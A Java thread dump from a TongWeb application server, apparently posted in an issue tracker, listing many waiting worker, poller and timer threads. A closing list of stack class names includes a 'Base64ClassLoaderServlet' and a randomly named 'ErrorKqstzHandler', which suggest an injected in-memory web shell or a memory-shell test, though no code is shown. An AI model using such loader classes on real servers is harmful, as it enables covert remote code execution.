||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-1" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.tongweb.server.core.StandardServer.await(StandardServer.java:571)
|
||||
at com.tongweb.main.TongWeb.await(TongWeb.java:480)
|
||||
at com.tongweb.main.TongWeb.start(TongWeb.java:436)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at com.tongweb.main.TongWebMain.main(Unknown Source)
|
||||
|
||||
"cacheAllServerState" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@605c4e3f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"TW-periodic-10" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@2f1f5c8e
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"TW-0.0.0.0-8080-BlockPoller" #40 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295)
|
||||
|
||||
"TW-0.0.0.0-8080-10" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-3" #100 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-4" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-9060-Acceptor" #97 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:501)
|
||||
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48)
|
||||
at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:79)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-Timer-Cache" #12 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.tongweb.server.util.Utils$b$a.run(Unknown Source)
|
||||
|
||||
"TW-0.0.0.0-8080-2" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73b170
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Daemon" #38 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@57f3e073
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"TW-periodic-9" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Thread-59" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66bdc584
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
|
||||
at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
|
||||
at sun.nio.fs.AbstractWatchService.take(AbstractWatchService.java:118)
|
||||
at com.tongweb.ext.ConfigFileTamperProof.start0(ConfigFileTamperProof.java:97)
|
||||
at com.tongweb.ext.ConfigFileTamperProof.lambda$start$0(ConfigFileTamperProof.java:35)
|
||||
at com.tongweb.ext.ConfigFileTamperProof$$Lambda$201/1367672657.run(Unknown Source)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-8" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"check-license-expiration" #122 daemon [TIMED_WAITING] on java.util.TaskQueue@641252da
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"TW-0.0.0.0-8080-ClientPoller-1" #112 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1318)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"DaemonMonitorTask" #129 daemon [TIMED_WAITING] on java.util.TaskQueue@313c99fa
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"TW-0.0.0.0-8080-Acceptor" #113 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:501)
|
||||
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48)
|
||||
at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:79)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"SDOSFilter" #130 daemon [TIMED_WAITING] on java.util.TaskQueue@798417d6
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"HealthListener" #127 daemon [TIMED_WAITING] on java.util.TaskQueue@719d6c87
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"TW-periodic-7" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-4" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-0.0.0.0-8080-ClientPoller-0" #111 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1318)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"TW-periodic-6" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59952a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.google.gso.hufOW.ErrorKqstzHandler
|
||||
com.tongweb.coyote.AbstractProcessorLight
|
||||
com.tongweb.coyote.AbstractProtocol$ConnectionHandler
|
||||
com.tongweb.coyote.http11.Http11Processor
|
||||
com.tongweb.ee.server.OpenEJBSecurityListener$RequestCapturer
|
||||
com.tongweb.ee.server.OpenEJBValve
|
||||
com.tongweb.ext.ConfigFileTamperProof
|
||||
com.tongweb.ext.ConfigFileTamperProof$$Lambda$201/1367672657
|
||||
com.tongweb.logger.impl.core.WritingThread
|
||||
com.tongweb.main.TongWeb
|
||||
com.tongweb.main.TongWebMain
|
||||
com.tongweb.server.authenticator.AuthenticatorBase
|
||||
com.tongweb.server.connector.CoyoteAdapter
|
||||
com.tongweb.server.connector.CoyoteWriter
|
||||
com.tongweb.server.core.ApplicationFilterChain
|
||||
com.tongweb.server.core.StandardContextValve
|
||||
com.tongweb.server.core.StandardEngineValve
|
||||
com.tongweb.server.core.StandardHostValve
|
||||
com.tongweb.server.core.StandardServer
|
||||
com.tongweb.server.core.StandardWrapperValve
|
||||
com.tongweb.server.util.Utils$b$a
|
||||
com.tongweb.server.valves.ErrorReportValve
|
||||
com.tongweb.web.util.net.Acceptor
|
||||
com.tongweb.web.util.net.NioBlockingSelector$BlockPoller
|
||||
com.tongweb.web.util.net.NioEndpoint
|
||||
com.tongweb.web.util.net.NioEndpoint$Poller
|
||||
com.tongweb.web.util.net.NioEndpoint$SocketProcessor
|
||||
com.tongweb.web.util.net.SocketProcessorBase
|
||||
com.tongweb.web.util.threads.TaskQueue
|
||||
com.tongweb.web.util.threads.TaskThread$WrappingRunnable
|
||||
Reference in New Issue
Block a user